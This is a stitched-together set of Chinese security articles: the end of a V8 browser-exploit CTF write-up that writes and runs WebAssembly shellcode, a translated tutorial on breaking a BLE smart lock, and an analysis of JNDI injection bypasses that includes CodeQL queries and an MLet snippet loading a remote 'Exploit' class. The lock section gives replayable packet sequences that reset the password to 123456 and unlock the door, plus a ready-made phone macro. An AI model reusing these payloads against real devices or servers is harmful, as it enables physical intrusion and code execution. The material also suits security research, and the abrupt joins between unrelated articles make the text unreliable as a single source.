var wasm_shellcode_addr = adv.getBigUint64(0,true);
print('wasm_shellcode_addr=' + wasm_shellcode_addr.toString(16));
faker[8] = i2f64(wasm_shellcode_addr);
//替换wasm的shellcode
for (var i=0;i<shellcode.length;i++) {
adv.setUint32(i*4,shellcode[i],true);
}
//%SystemBreak();
//执行shellcode
func();
</script>
</body>
</html>
## 0x04 感想
通过本题加深了对v8的字典对象的理解，同时学习了`wasm`在浏览器漏洞中的利用手法。浏览器PWN虽然难但是很有趣。
## 0x05 参考
[Shapes and Inline Caches](https://mathiasbynens.be/notes/shapes-ics)
[[译] JavaScript 引擎基础：Shapes 和 Inline
Caches](https://hijiangtao.github.io/2018/06/17/Shapes-ICs/)
[JavaScript engine fundamentals: optimizing
prototypes](https://mathiasbynens.be/notes/prototypes)
[简明扼要地谈谈v8的隐藏类和Inline
Cache（內联缓存](https://blog.csdn.net/cteng/article/details/77151281) | 社区文章 |
# 【技术分享】智能门锁也会得“癌症”？如何通过手机搞定蓝牙门锁
##### 译文声明
本文是翻译文章，文章来源：smartlockpicking.com
原文地址：<https://smartlockpicking.com/tutorial/how-to-pick-a-ble-smart-lock-and-cause-cancer/>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[興趣使然的小胃](http://bobao.360.cn/member/contribute?uid=2819002922)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**一、前言**
看到智能门锁这个词，可能有人会怀疑它是不是真的“智能”，因此，厂商会把这几个字直接印在产品上。厂商会在产品中配有气场强大的扬声器，作为防窃卖点广而告之。但如果在正常的解锁通知中使用这种扬声器，开门时用户不得不捂起耳朵，这并不是一个智能的决定。至于安全性嘛，安全性已经在门锁外壳上体现了。
调侃归调侃，闲话少说，如果想看攻击过程，可直接跳到“演示视频”这部分。
**
**
**二、拦截BLE传输数据**
出于各种原因，大多数BLE（Bluetooth Low
Energy，低功耗蓝牙）设备（包括我所知道所有智能锁设备）并没有实现链路层上的蓝牙安全机制，不能保护配对、绑定、加密操作。设备通常会在未加密BLE链路上发明自己的通信协议。这种方法会导致攻击者能够轻松拦截蓝牙链路层上的数据包，对这些方案的分析及攻击也可以信手拈来。
为了拦截无线传输数据，你首先想到的可能是使用专用的嗅探器。未来我会在相关教程中介绍这方面内容，但我的第一选择并不是使用这种方法。长话短说，这种方法除了需要使用专用硬件之外，被动嗅探模式也不是特别可靠（通常情况下你会得到离散的数据包），此外想要分析已传输的数据也不是那么简单（比如，需要在Wireshark中进行分析）。
在中间人（MITM）场景中，我使用的是自研的[GATTACKER
MITM代理工具](https://github.com/securing/gattacker)来捕捉传输数据。硬件方面，该工具使用的是价值5美元的蓝牙4适配器。后面有机会的话我会详细介绍这款工具，这里我会跟大家一起看看如何在常见场景中使用这款工具。如果你对此感兴趣，想了解更多细节，你可以参考我在2016黑帽大会上的[演讲](https://github.com/securing/docs/blob/master/slides.pdf)以及[白皮书](https://github.com/securing/docs/blob/master/whitepaper.pdf)资料。
使用一条scan命令，我们就能探测附近所有设备的广播信号：
广播数据很短，通常情况下，BLE设备会不断对外广播数据包，向周围设备告知存活状态。这个工具发现了我们的智能锁，同时返回了智能锁的mac地址以及设备名。接下来，我们可以扫描设备的服务（service）及属性（characteristic）。
这里我不会介绍BLE的服务及属性相关知识。你可以认为BLE属性为一个简单的UID命名变量，存储在设备中，可以被读取及写入，了解这些知识就已足够。
扫描后，我们已经得到了一些数据，这些数据以json文件形式保存在“devices”子目录中，可以用来模拟原始的目标设备（即模拟设备的广播数据及属性特征）。现在，我们已准备就绪，可以运行中间人拦截代理程序。代理可以充当原始设备的软件模拟器，诱导移动应用发起连接操作，随后来回转发BLE数据。在我们的案例中，智能锁移动应用会检查设备的BT
MAC地址，因此我们必须伪造这个地址。请注意：某些蓝牙4适配器并不支持修改MAC地址（这些适配器大多都是笔记本中自带的模块）。我使用的是CSR8510
USB设备，配合一个简单的脚本完成这个任务：
现在，重新插入USB设备，启用新的MAC地址，然后，MITM代理就会开始工作：
如果你看到紫色的“INITIALIZED”文本，表明代理程序与原始设备之间的连接已建立成功，软件设备模拟器已启动，准备拦截数据包。
一旦“受害者”移动应用连接到我们的模拟设备上，代理就开始来回转发数据：
上图中，蓝色的Write代表移动应用将数据发往设备，绿色的Read代表移动应用从设备那收到数据。随后为传输的十六进制数据，括号中为这些数据解码后的ascii值。而ffe0
-> fff1为服务及属性id，目前这些id不是特别重要。我们的设备只使用了一个属性。
通信过程从几段较长的二进制数据包开始，接下来是几个较短的、相同的读写数据包，频率大概是每秒一次。当我在移动应用中按下“unlock（解锁）”按钮时，我看到了一些不同的数据包。
**
**
**三、明文凭据**
在上图拦截到的通信数据中，可能你首先会注意到一段重复的“6666666”数据（对应的十六进制数据为363636363636）。是的，你没看错，这就是设备当前使用的密码，以明文形式传输。顺便说一句，你也可以使用无源RF嗅探硬件（比如[Ubertooth](https://greatscottgadgets.com/ubertoothone/)以及外接天线）从远处嗅探这段数据。到此为止，游戏其实已经结束。知道密码后，攻击者就可以在自己的移动应用上输入密码，像主人一样正常控制门锁状态。攻击者并不需要进一步分析数据包或者理解应用协议。
然而，我们并不满足于此。
现在，我们可以假装密码还没有泄露，还有一些有趣的漏洞等待我们挖掘。
**
**
**四、重放攻击**
前面提到过，刚开始时移动应用会与设备交换少量复杂的数据包：
接下来，这段数据每一次都会有所变化：
这段数据用来与设备进行初始化握手，握手完成后，你可以发送真正的控制命令。对于本文使用的这个实验设备，如果你在连接发起时，不经过初始化握手过程，直接发送一条命令（比如发送a136363636363601解锁命令），那么该命令会被设备直接丢弃。因此某种程度上，这种握手过程起到了“身份认证”作用。
我们可以通过各种方式仔细检查这个专有协议的具体细节，通过逆向分析，理解来回传送数据中每个字节代表的含义。你可能已经注意到其中包含重复的十六进制编码“741689”，稍后我们会分析这个信息，目前为止我们还不必了解这个协议的底层实现细节。我们可以先整体看一下政协数据包，宏观了解一下。
可以看到，移动应用发送的第一个数据包如下（蓝色write那一行）：
这些数据开头部分都相同，但结尾部分有点区别。接下来，设备会返回响应数据，开头部分依然相同，结尾部分依然有点区别：
很有可能响应数据会根据初始值的不同而不同。
这看起来像是简单的“挑战-响应”方案。类似的方案在应用层上屡见不鲜，BLE设备专用认证机制中尤为如此。最流行的硬件模块所提供的加密支持方案中仅限于简单的AES加密算法。因此，如果某个开发者想设计自己的加密协议，他通常会使用AES加密算法以及静态密钥，设备以及移动应用会共享同一个密钥。与对称密钥机制类似，这里最令人头疼的是，如何安全地共享及验证密钥，并且不在明文传输数据中泄露密钥信息？由于这种场景没有公钥加密算法提供支持，因此通常会引入“挑战-响应”机制。这里缺乏统一的标准，全凭开发者自己创造。如果“加密”机制出错，会导致什么后果呢？
再来看一下上面那张图。初始的挑战问题由移动手机生成，与设备无关。现在，如果设备仅凭挑战问题来计算响应数据，那么同一个挑战会得到同一个响应。这种场景很容易受到简单的重放攻击影响。攻击者可以记录下交换的数据，然后简单重放这段数据即可，不需要深入理解数据包内容：
我们可以试一下重放攻击。GATTacker工具会将拦截到的所有数据保存在dump子目录中，文件名对应设备的MAC地址。在本文案例中，这个文件内容如下所示：
2017.10.24 10:50:54.531 | < C | ffe0 | fff1 | a137343136383905789a3b246c6c17164f0121 ( 741689 x ;$ll O !)
2017.10.24 10:50:54.702 | > R | ffe0 | fff1 | a20500f0c77f162e8bd21110841e641e641480 ( . d d )
2017.10.24 10:50:54.980 | < C | ffe0 | fff1 | a137343136383909bcaafbae83b5babc02b8f7a0 ( 741689 )
2017.10.24 10:50:55.156 | > R | ffe0 | fff1 | a20900 ( )
2017.10.24 10:50:55.610 | < C | ffe0 | fff1 | a136363636363606 ( 666666 )
2017.10.24 10:50:55.735 | > R | ffe0 | fff1 | a206002c010000 ( , )
2017.10.24 10:50:56.645 | < C | ffe0 | fff1 | a136363636363606 ( 666666 )
2017.10.24 10:50:56.769 | > R | ffe0 | fff1 | a206002c010000 ( , )
2017.10.24 10:50:57.277 | < C | ffe0 | fff1 | a136363636363606 ( 666666 )
2017.10.24 10:50:57.400 | > R | ffe0 | fff1 | a206002c010000 ( , )
2017.10.24 10:50:57.951 | < C | ffe0 | fff1 | a136363636363601 ( 666666 )
2017.10.24 10:50:58.076 | > R | ffe0 | fff1 | a20100 ( )
这个文件的[格式](https://github.com/securing/gattacker/wiki/Dump-and-replay)非常简单，<
C代表write命令，>
R代表从设备返回的read响应。接下来为服务及属性信息，然后跟着以十六进制表示的传输数据。时间戳以及解码后的ascii值仅供参考，重放攻击中不需要使用这两个信息。
我们可以调用replay.js脚本，将这个文件作为参数，发起重放攻击：
随后，设备解锁了，同时发出了非常响亮的哔哔声。
我们也可以使用手机来完成这个操作。Android上的[nRF
Connect](https://play.google.com/store/apps/details?id=no.nordicsemi.android.mcp)应用包含一个非常有趣的特性：[macros（宏）](https://github.com/NordicSemiconductor/Android-nRF-Connect/tree/master/documentation/Macros)功能。只要提供一个特殊格式的XML输入文件，这个应用就可以重放任何BLE通信数据。我们只需要[将GATTacker的导出文件转换为对应的nRF宏XML格式](https://github.com/securing/gattacker/wiki/Dump-and-replay)即可：
# node gattacker2nrf.js -i dump/f0c77f162e8b.log > dump/f0c77f162e8b.xml
你可以访问[此处链接](https://smartlockpicking.com/img/2017/10/f0c77f162e8b.xml)查看结果文件，并将该文件导入nRF
Connect应用。接下来，连接设备，按下播放按钮，开始重放：
这是个很好的技巧，接下来，你不需要使用其他硬件就可以与设备交互。你可以根据需求修改XML输入文件。
关于嗅探及重放攻击，我建议你阅读另一个智能锁厂商公布的这份[安全通知](https://www.thequicklock.com/security-notice.php)。当时这个厂商疲于应付密码嗅探漏洞的指责文章，因此公布了这份通知。我并不赞同里面提到的各种借口，比如，他们说之所以使用明文来发送密码，是为了“厂商在产品集成时更加方便”。但有一点他们说的没错，那就是这种攻击场景需要满足特定条件：在嗅探或者重放攻击场景中，当受害者解锁设备的那一刻，攻击者必须处于蓝牙覆盖范围内。因此，即使考虑到高增益天线以及越来越多的可利用设备，实际生活中这种攻击带来的风险是有限的。随便说一句，从这份通知中，你还可以知道许多用户不会刻意去修改默认密码。
现在，我们来看看更加令人惊悚的攻击场景，这种攻击场景甚至不需要提前嗅探数据包。
**
**
**五、专有协议**
现在，我们终于要深入分析这种专有通信协议了。分析专有协议的首选方法之一就是逆向移动应用程序。
**5.1 逆向移动应用**
想找到如何逆向Android应用程序的教程并不难。大概步骤是：获取应用的apk二进制文件，反编译这个文件，检查java源码。得到的源码并不是真正的原始代码，不带注释，代码对齐也不是特别规整，但大多数情况下，开发者并没有使用任何混淆技术，因此反编译得到的代码可读性还是很强的。
这个代码中，首先可以看一下“SmartLock”类。这个类文件的开头部分如下所示：
我敢肯定你的眼睛会停留在SUPER_PASSWORD上。这个值被硬编码到应用中，因此很有可能也会内嵌在设备中。显而易见，我们可以将“741689”作为密码来尝试一下。然而，事实证明这不是真正的密码。稍等一下，我记得我们看到过这些数字，没错，初始握手交互中出现过这些数字！
在反编译出来的源码中，使用grep命令，我们可以找到某些代码片段，从中了解握手过程的工作原理：
byte[] password = "741689".getBytes();
(...)
mVerifyData.generateFistRandomData();
mVerifyState = 1;
byte[] arrayOfByte2 = mVerifyData.getFirstRandomData();
ByteBuffer localByteBuffer2 = ByteBuffer.allocate(15);
localByteBuffer2.put(password);
localByteBuffer2.put(arrayOfByte2);
MsgRequestVerify localMsgRequestVerify = new MsgRequestVerify();
localMsgRequestVerify.sendData(localByteBuffer2.array());
从这段代码中我们可知，移动应用会生成随机的数据，用于初始的“挑战”问题，然后将结果附加到“741689”末尾，以对应MsgRequestVerify格式。在MsgRequestVerify类的源码中，我们可以找到如下代码：
public static final int MSG_CMD = 5;
public static final int MSG_LENGTH = 19;
public static final int MSG_STX = 161;
public final byte con1 = 120;
public final byte con2 = -102;
我们可以试着将这些信息与捕捉到的初始挑战数据包相对比：
我们已经知道，这段数据中包含十六进制编码的SUPER_PASSWORD：
根据拦截到的多个挑战数据，我们可以从中挑出随机的数据：
其余数据是静态数据，移动设备每次生成挑战时这些数据都不会改变。你是否还记得MsgRequestVerify消息格式，其中提到MSG_STX =
161;，而十进制的161对应十六进制的a1。a1是数据包的第一个字节，对应的应该是消息的“header（头部）”字段。现在，我们又从数据包中解码出了一部分内容：
MsgRequestVerify中还提到MSG_CMD = 5，这代表的是命令ID：
剩下的静态数据同样也可以在MsgRequestVerify类中找到对应的定义代码：con1 = 120（十六进制为78）以及con2 =
-102（十六进制为9a）。现在，我们已经可以解码整段数据包：
接下来，我就不带你具体分析源码了，可以告诉你的是，应用程序收到设备返回的响应数据包时，会使用简单的CRC算法来校验这个数据包：
public boolean isSuccessFirstVerify()
{
return getFirstRandomDataCRC().equals(getFirstReceiverPayloadString());
}
移动应用会根据这个响应包（mFirstReceiver）计算第二个挑战数据包：
public void genSecondSendPayload()
{
for (int i = 0;; i++)
{
if (i >= 6) {
return;
}
byte[] arrayOfByte = new byte[6];
arrayOfByte[0] = mFirstReceiverMacData[i];
arrayOfByte[1] = mFirstReceiverPayload[1];
arrayOfByte[2] = mFirstReceiverPayload[3];
arrayOfByte[3] = mFirstReceiverPayload[5];
arrayOfByte[4] = mFirstReceiverPayload[7];
arrayOfByte[5] = mFirstReceiverPayload[9];
int[] arrayOfInt = strToToHexByte(CRC16Util.getHex(arrayOfByte));
mSecondSendPayload[(i * 2)] = ((byte)arrayOfInt[0]);
mSecondSendPayload[(1 + i * 2)] = ((byte)arrayOfInt[1]);
}
}
事实证明，对于我们测试的这个智能锁而言，“挑战-响应”过程中交换的数据并不依赖于与特定设备有关的密码，而是使用硬编码形式的静态密码“SUPER_PASSWORD”。这个字符串可以适用于所有设备。如果这是设备使用的唯一“认证”方式，显然会导致非常严重的问题。但我们已经知道，实际上设备会在随后的命令中发送明文密码。我们不知道为什么这款设备会使用握手机制，可能只是将其当成必要的“识别”过程（用来判断我们是否与正确的设备通信），但这个过程绝对与“认证”无关。
接下来，我们可以分析其他命令，应用程序在初始化握手过程后会通过BLE将这些命令发往设备。
**5.2 分析协议命令**
进一步分析源代码，你可以看到“message”子目录：
其中，“MsgRequestLockInfo”经过反编译后结果如下：
public class MsgRequestLockInfo
extends CommMessage
{
public static final int MSG_CMD = 6;
public static final int MSG_LENGTH = 8;
public static final int MSG_STX = 161;
(...)
我们可以再次在GATTacker拦截到的数据包中比对这个信息：
我们已经知道，这段数据包的核心部分为十六进制编码的密码（666666字符串的十六进制ascii编码对应363636363636）：
其中，你应该能够识别MSG_STX（头）以及MSG_CMD（命令ID）字段：
还记得解锁过程中发送的那条命令吗？那条命令的尾部为“01”而不是“06”。看一下MsgRequestOpenLock类的源码，你可以知道为什么会出现这个区别。
public static final int MSG_CMD = 1;
public static final int MSG_LENGTH = 8;
public static final int MSG_STX = 161;
恭喜你，你已经成功逆向出这个私有协议。现在，还有什么信息可以继续挖掘吗？
**5.3 发起“Cancer（癌症）”攻击**
我们仍然在寻找不需要提前嗅探数据包的攻击方法。
还是回到SUPER_PASSWORD这一点。我们知道初始握手（识别）过程中会用到这串数字。那么其他命令呢？如果我们在OpenLock命令中直接使用SUPER_PASSWORD，而不使用当前密码，会出现什么情况？为此，我们修改了导出文件，在初始握手包之后，写入a1
373431363839 01（即“头部+SUPER_PASSWORD+OpenLock命令ID”），然后重放这段数据：
2017.10.24 10:50:54.531 | < C | ffe0 | fff1 | a137343136383905789a3b246c6c17164f0121 ( 741689 x ;$ll O !)
2017.10.24 10:50:54.702 | > R | ffe0 | fff1 | a20500f0c77f162e8bd21110841e641e641480 ( . d d )
2017.10.24 10:50:54.980 | < C | ffe0 | fff1 | a137343136383909bcaafbae83b5babc02b8f7a0 ( 741689 )
2017.10.24 10:50:55.156 | > R | ffe0 | fff1 | a20900 ( )
2017.10.24 10:50:55.610 | < C | ffe0 | fff1 | a137343136383901
不幸的是，攻击不成功，设备仍处于锁定状态。
那么，我们还可以使用哪些命令？找一找，比如RequestAutoLock、RequestLock、RequestModifyName、RequestModifyPassword、RequestResetPassword、MsgRequestVibrate等。稍等一下！ModifyPassword（MSG_CMD
= 7）？使用这条命令，数据包中会包含当前的密码以及新的密码：
不幸的是，这种情况下，如果不使用当前密码，而使用SUPER_PASSWORD依然无法攻击成功，设备会正确验证数据包，丢弃这类伪造的数据包。
那么，ResetPassword命令呢？请注意，在官方移动应用GUI界面中，并不提供密码重置功能。然而我们的确可以在移动应用中看到MSG_CMD这个字段。
public class MsgRequestResetPassword
extends CommMessage
{
public static final int MSG_CMD = 8;
public static final int MSG_LENGTH = 8;
public static final int MSG_STX = 161;
现在，我们可以修改重放攻击的输入文件，把其中的OpenLock命令01修改为ResetPassword命令08（还是使用“741689”即373431363839这个SUPER_PASSWORD）：
(...)
2017.10.24 10:50:55.610 | < C | ffe0 | fff1 | a137343136383908
竟然成功了！门锁现在的密码变成默认的“123456”！现在，修改脚本发起最后一击，使用默认密码（十六进制的313233343536），后面跟上OpenLock命令：
2017.10.24 10:50:54.531 | < C | ffe0 | fff1 | a137343136383905789a3b246c6c17164f0121 ( 741689 x ;$ll O !)
2017.10.24 10:50:54.702 | > R | ffe0 | fff1 | a20500f0c77f162e8bd21110841e641e641480 ( . d d )
2017.10.24 10:50:54.980 | < C | ffe0 | fff1 | a137343136383909bcaafbae83b5babc02b8f7a0 ( 741689 )
2017.10.24 10:50:55.156 | > R | ffe0 | fff1 | a20900 ( )
2017.10.24 10:50:55.610 | < C | ffe0 | fff1 | a137343136383908
2017.10.24 10:50:55.610 | < C | ffe0 | fff1 | a131323334353601
这里我们再解释一下攻击过程：
现在，攻击脚本首先会重置密码，然后自动开锁：
当然，你也可以使用nRF
Connect移动应用来执行这种攻击，我们已经在“重放攻击”那部分内容中介绍过具体操作过程。我已经为你准备了转换好的[XML宏文件](https://smartlockpicking.com/img/2017/10/smartlock_reset_unlock.xml)，你可以直接导入这个文件，下次如果你碰到这种智能锁，你可以使用自己的移动手机，打开这个应用，点击“播放”按钮，运行这个宏，就可以解锁了：
最后谈一下“cancer（癌症）”方面的事情。一旦密码被重置，默认的密码与手机中保存的密码不一致，应用程序会向合法用户打招呼，弹出如下错误对话框：
**六、总结**
在本文中，我们介绍了分析BLE设备的几个步骤：从拦截通信数据包开始，到重放攻击、私有协议逆向分析，最后找到了这个协议中存在的一个严重漏洞。当然，这些内容并没全部覆盖所有可能的攻击场景以及设备评估检查场景。未来我会在这个[教程](https://smartlockpicking.com/categories/tutorial)中带来更多内容。
你可能会好奇，为什么一个设备中会包含这么多安全漏洞？好吧，请注意这句话：智能门锁（包括本文的实验对象）其实比大多数BLE设备更加安全。其他许多设备，比如BLE羞羞玩具、灯泡或者传感器等，通常没有实现任何安全机制，甚至没有使用简单的静态明文密码用于身份认证。因此，“攻击者”可以使用原版应用程序，连接附近的设备，然后就可以直接使用这个设备。或者，攻击者可以拦截通信数据，使用各种工具或者一个智能手机来篡改、模糊测试或者重放通信数据。根据设备的不同，攻击可能导致的安全风险也会有所不同。
我非常鼓励你探索附近BLE设备的安全性，你可能会得到让你大吃一惊的结果。你也可以看一下我的蓝牙脆弱性开源项目：[BLE
HackmeLock](https://smartlockpicking.com/hackmelock)。你可以在Linux主机或者虚拟机上，配合蓝牙4
USB适配器或者内置BLE适配器的树莓派3来运行这个项目。
**
**
**七、演示视频**
在Android平台上，只需要在[nRF
Connect](https://play.google.com/store/apps/details?id=no.nordicsemi.android.mcp)应用中导入这个[宏文件](https://smartlockpicking.com/img/2017/10/smartlock_reset_unlock.xml)，连接到这个智能门锁，点击“播放”按钮即可完成攻击过程。不要忘了捂住耳朵，因为攻击过程会将门锁密码重置为“123456”，随后门锁会神奇地自动打开，同时发出非常刺耳的嘟嘟声：
[1](http://v.youku.com/v_show/id_XMzExMjkyNjk5Mg==.html) | 社区文章 |
藏青@雁行安全团队
最近`Log4j`的漏洞引起了很多师傅对JNDI注入漏洞利用的研究，`浅蓝`师傅的文章[探索高版本 JDK 下
JNDI漏洞的利用方法](https://tttang.com/archive/1405/)提出了很多关于绕过JNDI高版本限制的方法，本文主要是对文章中的部分方法进行分析并加上一些我个人的思考。
## 前言
在分析这些具体的方法前，我们先对绕过的整体思路做一个阐述。目前高版本JDK的防护方式主要是针对加载远程的`ObjectFactory`的加载做限制，只有开启了某些属性后才会通过指定的远程地址获取`ObjectFactory`的Class并实例化，进而通过`ObjectFactory#getObjectInstance`来获取返回的真实对象。但是在加载远程地址获取`ObjectFactory`前，首先在本地`ClassPath`下加载指定的`ObjectFactory`，本地加载`ObjectFactory`失败后才会加载远程地址的`ObjectFactory`，所以一个主要的绕过思路就是加载本地ClassPath下的`ObjectFactory`。
static ObjectFactory getObjectFactoryFromReference(
Reference ref, String factoryName)
throws IllegalAccessException,
InstantiationException,
MalformedURLException {
Class<?> clas = null;
// 首先加载当前环境下ClassPath下的ObjectFactory
try {
clas = helper.loadClass(factoryName);
} catch (ClassNotFoundException e) {
// ignore and continue
// e.printStackTrace();
}
// All other exceptions are passed up.
// 当前ClassPath加载失败才会加载classFactoryLocation中指定地址的ObjectFactory
String codebase;
if (clas == null &&
(codebase = ref.getFactoryClassLocation()) != null) {
try {
clas = helper.loadClass(factoryName, codebase);
} catch (ClassNotFoundException e) {
}
}
return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
}
所以我们需要找到一个`javax.naming.spi.ObjectFactory`接口的实现类，在这个实现类的`getObjectInstance`可以实现一些恶意操作。但是在JDK提供的原生实现类里其实并没有操作空间。所以下面我们主要的思路就是在一些常用的框架或者组件中寻找可利用的ObjectFactory实现类。
## 常规绕过方式总结
Tomcat下的绕过比较精彩的并不是EL表达式利用，而是通过`BeanFactory#getObjectInstance`将这个漏洞的利用面从仅仅只能从`ObjectFactory`实现类的`getObjectInstance`方法利用扩展为一次可以调用"任意"类的"任意"方法的机会，但是对调用的类和方法以及参数有些限制。
* 该类必须包含public无参构造方法
* 调用的方法必须是public方法
* 调用的方法只有一个参数并且参数类型为String类型
所以下面我们只要找到某个类的某个方法既满足了上面的条件又实现我们想要的功能。
* `javax.el.ELProcessor#eval`执行命令，但是`ELProcessor`是在Tomcat8才引入的。
* `groovy.lang.GroovyShell#evaluate(java.lang.String)`通过Groovy执行命令。
* `com.thoughtworks.xstream.XStream().fromXML(String)`通过调用`XStream`转换XML时的反序列化漏洞导致的RCE，这里之所以选择`XStream`是因为Xstream的反序列化漏洞和影响版本比较多。JSON的转换的漏洞相对来说通用性不高。
* `org.yaml.snakeyaml.Yaml#load(java.lang.String)`加载Yaml时的反序列化漏洞，在SpringBoot中经常会使用`snakeyaml`来进行yml配置文件的解析。
* `org.mvel2.MVEL#eval(String)`执行命令，这里`浅蓝`师傅文章中提到的是`MVEL`类是private所以要找上层调用，我在`2.0.17`中测试`Mvel`是存在public无参构造方法的，高版本确实换成了private构造方法。所以只能找那里调用了`Mvel#eval`方法，而`org.mvel2.sh.ShellSession#exec`调用了`Mvel#eval`，因此可以通过`ShellSession#exec`来间接完成调用。
* `com.sun.glass.utils.NativeLibLoader#loadLibrary(String)`加载DLL，前提是我们已经将构造好的DLL上传至目标上，所以局限性比较大。
## CodeQL分析MVEL调用链挖掘过程
上面这些利用方法原理理解都比较简单，但是作者怎么找到`org.mvel2.sh.ShellSession#exec`的过程我比较好奇，排除他已知这个方法可以调用外，我们可以思考一下作者如何找到这个方法的。要找到这个方法的思路其实比较简单，可以按照下面的思路。
* 除了`org.mvel2.MVEL#eval(String)`可以执行命令其他重载的eval方法也可以执行命令
* 查找调用这些eval方法的调用，直到找到一个调用类存在public构造方法且间接调用eval的方法也是public类型并且参数为string类型
但是如果手动找的话其实比较麻烦，因为调用eval方法的函数其实比较多，如下图所示。
所以我想用CodeQL来帮我们做这件事情，由于MVEL是github上的开源项目，所以可以直接在[这里](https://lgtm.com/projects/g/mvel/mvel/ci/)下载到数据库。由于eval方法的第一个参数是要执行的表达式，所以我们将这个参数作为sink，source的名称我们不做限制，但是要限制方法的参数为string且只有一个参数，代码如下：
/**
*@name Tainttrack Context lookup
*@kind path-problem
*/
import java
import semmle.code.java.dataflow.FlowSources
import DataFlow::PathGraph
class MVEL extends RefType{
MVEL(){
this.hasQualifiedName("org.mvel2", "MVEL")
}
}
//限制参数的类型和数量
class CallEval extends Method {
CallEval(){
this.getNumberOfParameters() = 1 and this.getParameter(0).getType() instanceof TypeString
}
Parameter getAnUntrustedParameter() { result = this.getParameter(0) }
}
//限制方法的名称和类型
predicate isEval(Expr arg) {
exists(MethodAccess ma |
ma.getMethod().getName()="eval"
and
ma.getMethod().getDeclaringType() instanceof MVEL
and
arg = ma.getArgument(0)
)
}
class TainttrackLookup extends TaintTracking::Configuration {
TainttrackLookup() {
this = "TainttrackLookup"
}
override predicate isSource(DataFlow::Node source) {
exists(CallEval evalMethod |
source.asParameter() = evalMethod.getAnUntrustedParameter())
}
override predicate isSink(DataFlow::Node sink) {
exists(Expr arg |
isEval(arg)
and
sink.asExpr() = arg
)
}
}
from TainttrackLookup config , DataFlow::PathNode source, DataFlow::PathNode sink
where
config.hasFlowPath(source, sink)
select sink.getNode(), source, sink, "unsafe lookup", source.getNode(), "this is user input"
但是跑完以后去掉一些看上去有问题的链后并没有找到`浅蓝`师傅发现的那个调用链，只找到了下面的调用链，但是也是在`MVEL`类中的，所以也不能利用。
下面分析下为什么没跑出来，首先看下我们设置的sink是否有问题，sink确实可以找到`PushContext#execute`方法，所以sink这里没有问题。
再通过下面的代码检测source是否设置正确，也没有问题，所以说明在污点传播的过程中被打断了。
经过分析，猜测可能打断污点传播的点有两处。
* exec方法直接将参数添加到`inBuffer`中并调用了无参构造方法，如果分析中认为调用无参构造方法就认为污点会被打断那么这里就会导致污点传播被打断
* 在`_exec`中通过`arraycopy`完成了`passParameters`的赋值操作，如果CodeQL这里没分析好也会导致污点传播被打断。
首先分析第一种情况，在`_exec`中将`inBuffer`的值封装为`inTokens`后调用了`containsKey`方法，所以我们在不更改source的情况下将sink更改为对`containsKey`的调用。
predicate isEval(Expr arg) {
exists(MethodAccess ma |
ma.getMethod().getName()="containsKey"
and
arg = ma.getArgument(0)
)
}
可以看到确实是可以从`ShellSession#exec`追踪到`commands.containsKey`中的，所以第一种假设就被推翻了。
再来看第二种猜测，只要我们编写一个`isAdditionalTaintStep`将arraycopy的第1个参数和`execute`的第2个参数接起来即可。
override predicate isAdditionalTaintStep(DataFlow::Node fromNode, DataFlow::Node toNode) {
exists(MethodAccess ma,MethodAccess ma2 |
ma.getMethod().getDeclaringType().hasQualifiedName("java.lang", "System")
and ma.getMethod().hasName("arraycopy") and fromNode.asExpr()=ma.getArgument(0)
and ma2.getMethod().getDeclaringType().hasQualifiedName("org.mvel2.sh", "Command")
and ma2.getMethod().hasName("execute") and toNode.asExpr()=ma2.getArgument(1)
)
}
最终就可以拿到`浅蓝`师傅发现的调用链。
## MLet利用方式分析
MLet是UrlClassLoader的子类，因此理论上可以通过loadClass加载远程地址的类进行利用，代码如下：
MLet mLet = new MLet();
mLet.addURL("http://127.0.0.1:2333/");
mLet.loadClass("Exploit");
### 失败的利用分析
虽然说loadClass在加载以后没有newInstance不能触发类的初始化操作，但是在BeanFactory中本身就会根据我们传入的名称来实例化对象，如果我们发送两次请求，第一次通过UrlClassLoader加载到内存，由于在loadClass加载的过程中有个缓存机制，如果已经加载过的类会直接返回，我们在第二次请求中直接让实例化这个类不就可以了。
protected Class<?> loadClass(String name, boolean resolve)
throws ClassNotFoundException
{
synchronized (getClassLoadingLock(name)) {
// First, check if the class has already been loaded
Class<?> c = findLoadedClass(name);
if (c == null) {
long t0 = System.nanoTime();
但实际是不行的，因为BeanFactory中获取到类名后是通过`Thread.currentThread().getContextClassLoader()`这个加载器来加载类的，而这个类加载器肯定不是`Mlet`那个加载器，所以它没有加载过我们创建的恶意类，自然也获取不到了。
if (obj instanceof ResourceRef) {
try {
//从引用对象中获取类名
Reference ref = (Reference)obj;
String beanClassName = ref.getClassName();
Class<?> beanClass = null;
//获取加载器加载类
ClassLoader tcl = Thread.currentThread().getContextClassLoader();
if (tcl != null) {
try {
beanClass = tcl.loadClass(beanClassName);
} catch (ClassNotFoundException var26) {
}
} else {
try {
beanClass = Class.forName(beanClassName);
} catch (ClassNotFoundException var25) {
var25.printStackTrace();
}
}
### 方法多次调用分析
那么Mlet为什么可以调用多个方法，因为按照我们前面的分析，只会调用一个方法。下面我们简要分析下`org.apache.naming.factory.BeanFactory#getObjectInstance`。
* 从引用对象中获取类名并实例化，这里需要注意的是 **这个类只实例化了一次** 。再从forceString属性中获取内容并通过`,`分割转换为数组，遍历数组中的内容并根据`=`分割获取要调用的方法名获取method对象并保存到Map中。
if (obj instanceof ResourceRef) {
try {
//从引用对象中获取类名
Reference ref = (Reference)obj;
String beanClassName = ref.getClassName();
Class<?> beanClass = null;
//获取加载器加载类
ClassLoader tcl = Thread.currentThread().getContextClassLoader();
if (tcl != null) {
try {
beanClass = tcl.loadClass(beanClassName);
} catch (ClassNotFoundException var26) {
}
} else {
try {
beanClass = Class.forName(beanClassName);
} catch (ClassNotFoundException var25) {
var25.printStackTrace();
}
}
//加载失败抛出异常
if (beanClass == null) {
throw new NamingException("Class not found: " + beanClassName);
} else {
BeanInfo bi = Introspector.getBeanInfo(beanClass);
PropertyDescriptor[] pda = bi.getPropertyDescriptors();
//获取class的对应的对象，只实例化了一次
Object bean = beanClass.getConstructor().newInstance();
//从forceString中获取引用属性
RefAddr ra = ref.get("forceString");
Map<String, Method> forced = new HashMap();
String value;
String propName;
int i;
if (ra != null) {
//获取forceString的内容并通过`,`分割
value = (String)ra.getContent();
//paramTypes为String类型
Class<?>[] paramTypes = new Class[]{String.class};
String[] var18 = value.split(",");
i = var18.length;
for(int var20 = 0; var20 < i; ++var20) {
String param = var18[var20];
param = param.trim();
